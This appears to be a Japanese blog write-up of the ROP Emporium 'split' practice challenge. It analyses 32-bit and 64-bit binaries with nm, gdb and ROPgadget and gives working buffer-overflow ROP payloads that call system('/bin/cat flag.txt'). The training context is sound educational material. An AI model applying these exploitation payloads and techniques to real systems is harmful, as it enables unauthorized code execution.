0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

ROP Emporium split writeup

Last updated at Posted at 2020-01-23

ROP Emporium

ROPの練習問題集

ROP Emporium

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

writeup link

split32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

# file ./split32
./split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped
#
#
# ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> test

Exiting
#

nmコマンドで実行ファイルのシンボル情報を確認する。
nm
usefulFunction / usefulStringというシンボルがある。
これを使えということか。。。

gdbのinfo funcコマンドでは関数のシンボルしか表示されない。
シンボルの確認では、nmコマンドを使った方が良い

# nm ./split32
0804a04a B __bss_start
0804a088 b completed.7200
0804a028 D __data_start
0804a028 W data_start
080484c0 t deregister_tm_clones
08048530 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a04a D _edata
0804a08c B _end
         U fgets@@GLIBC_2.0
080486d4 T _fini
080486e8 R _fp_hw
08048550 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048894 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
08048750 r __GNU_EH_FRAME_HDR
080483c0 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
080486ec R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
080486d0 T __libc_csu_fini
08048670 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804857b T main
         U memset@@GLIBC_2.0
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080485f6 t pwnme
080484f0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048480 T _start
0804a060 B stderr@@GLIBC_2.0
0804a080 B stdin@@GLIBC_2.0
0804a084 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a04c D __TMC_END__
08048649 t usefulFunction
0804a030 D usefulString
080484b0 T __x86.get_pc_thunk.bx
# 

gdbでsplit32を解析していく。
canaryは今回も無効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

main / pwnme関数の内容は他の問題と同様。
ret2win writeup

nmコマンドで確認できたusefulFunction / usefulStringを見てみる。

usefulFunctionは/bin/lsを実行する関数。

gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x08048649 <+0>:	push   ebp
   0x0804864a <+1>:	mov    ebp,esp
   0x0804864c <+3>:	sub    esp,0x8
   0x0804864f <+6>:	sub    esp,0xc
   0x08048652 <+9>:	push   0x8048747
   0x08048657 <+14>:	call   0x8048430 <system@plt>
   0x0804865c <+19>:	add    esp,0x10
   0x0804865f <+22>:	nop
   0x08048660 <+23>:	leave  
   0x08048661 <+24>:	ret    
End of assembler dump.
gdb-peda$ 
gdb-peda$ x/s 0x8048747
0x8048747:	"/bin/ls"
gdb-peda$ 
gdb-peda$ x/s 0x0804a030
0x804a030 <usefulString>:	"/bin/cat flag.txt"
gdb-peda$ 

usefulStringは/bin/cat flag.txtの文字列。
usefulStringを引数としてusefulFunctionのsystemを実行すれば、system("/bin/cat flag.txt")となり、フラグが出力されそう。

system関数へはbuffer overflowを使って実行する。
usefulStringは引数としてstackに積んでおく。

x86アセンブリ言語での関数コール

ret2winと同様にpattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byte。

44byteのダミー文字の後にusefulFunctionでsystemを呼び出していたアドレスとusefulStringのアドレスを付け足す。

# python -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'"  | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
# 

ret2pltをする場合は、return addressと引数の間に、system@pltのreturn addressとしてダミー文字列を入れる必要がある。

# python -c "print 'A'*44 + '\x57\x86\x04\x08' + 'A'*4 + '\x30\xa0\x04\x08'"  | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> Segmentation fault
# 

split writeup

split32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

# file ./split
./split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cbc19d1114b70bce2305f7ded9e7dd4d2e28069, not stripped
# 
# 
# 
# 
# ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> test

Exiting
# 

nmコマンドで実行ファイルのシンボル情報を確認する。
usefulFunction / usefulStringというシンボルがある。
split32同様、これらを確認していく。

# nm ./split
000000000060107a B __bss_start
00000000006010a8 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
000000000060107a D _edata
00000000006010b0 B _end
                 U fgets@@GLIBC_2.2.5
0000000000400894 T _fini
0000000000400720 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400a80 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400908 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
00000000004008a0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000400890 T __libc_csu_fini
0000000000400820 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
00000000004006c0 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
00000000006010a0 B stderr@@GLIBC_2.2.5
0000000000601090 B stdin@@GLIBC_2.2.5
0000000000601080 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601080 D __TMC_END__
0000000000400807 t usefulFunction
0000000000601060 D usefulString
# 

gdbでsplit32を解析していく。
canaryは今回も無効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

main / pwnme関数の内容は他の問題と同様。

nmコマンドで確認できたusefulFunction / usefulStringを見てみる。

usefulFunctionは/bin/lsを実行する関数。

gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:	push   rbp
   0x0000000000400808 <+1>:	mov    rbp,rsp
   0x000000000040080b <+4>:	mov    edi,0x4008ff
   0x0000000000400810 <+9>:	call   0x4005e0 <system@plt>
   0x0000000000400815 <+14>:	nop
   0x0000000000400816 <+15>:	pop    rbp
   0x0000000000400817 <+16>:	ret    
End of assembler dump.
gdb-peda$ 
gdb-peda$ x/s 0x4008ff
0x4008ff:	"/bin/ls"
gdb-peda$ 
gdb-peda$ x/s 0x601060
0x601060 <usefulString>:	"/bin/cat flag.txt"
gdb-peda$ 

usefulStringは/bin/cat flag.txtの文字列。
usefulStringを引数としてusefulFunctionのsystemを実行すれば、system("/bin/cat flag.txt")となり、フラグが出力されそう。

x64では引数をレジスタに格納する必要がある。
pop rdi; retのrop gadgetがないか調べる。

x64の関数呼び出し

# ROPgadget --binary ./split
Gadgets information
============================================================
0x00000000004006a2 : adc byte ptr [rax], ah ; jmp rax
0x000000000040080e : add al, bpl ; retf
0x000000000040080f : add al, ch ; retf
0x000000000040088f : add bl, dh ; ret
0x000000000040088d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040088b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x00000000004005b3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088e : add byte ptr [rax], al ; ret
0x0000000000400718 : add byte ptr [rcx], al ; ret
0x0000000000400714 : add eax, 0x20098e ; add ebx, esi ; ret
0x0000000000400719 : add ebx, esi ; ret
0x00000000004005b6 : add esp, 8 ; ret
0x00000000004005b5 : add rsp, 8 ; ret
0x0000000000400717 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400a0b : call qword ptr [rcx]
0x000000000040073e : call rax
0x000000000040080c : dec dword ptr [rax] ; add al, bpl ; retf
0x000000000040086c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040080a : in eax, 0xbf ; dec dword ptr [rax] ; add al, bpl ; retf
0x0000000000400739 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040069d : je 0x4006b8 ; pop rbp ; mov edi, 0x601080 ; jmp rax
0x00000000004006eb : je 0x400700 ; pop rbp ; mov edi, 0x601080 ; jmp rax
0x0000000000400738 : je 0x400731 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004006a5 : jmp rax
0x0000000000400805 : leave ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20098e], 1 ; ret
0x0000000000400715 : mov cs, word ptr [rcx] ; and byte ptr [rax], al ; add ebx, esi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040073c : mov ebp, esp ; call rax
0x00000000004006a0 : mov edi, 0x601080 ; jmp rax
0x000000000040073b : mov rbp, rsp ; call rax
0x0000000000400804 : nop ; leave ; ret
0x0000000000400815 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400888 : nop dword ptr [rax + rax] ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400716 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20098e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601080 ; jmp rax
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073a : push rbp ; mov rbp, rsp ; call rax
0x00000000004005b9 : ret
0x0000000000400811 : retf
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x0000000000400895 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400894 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400736 : test eax, eax ; je 0x400733 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400735 : test rax, rax ; je 0x400734 ; push rbp ; mov rbp, rsp ; call rax

Unique gadgets found: 63
# 

0x400883pop rdi; retのgadgetがある。

stackが以下のようになるようにペイロードを作成する。

+--------------------+
|        dummy       |
+--------------------+
|       pop rdi      |
+--------------------+
|    usefulString    |
+--------------------+
|       system       |
+--------------------+

ret2winと同様にpattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは40byte。

# python -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\xe0\x05\x40\x00\x00\x00\x00\x00'" | ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?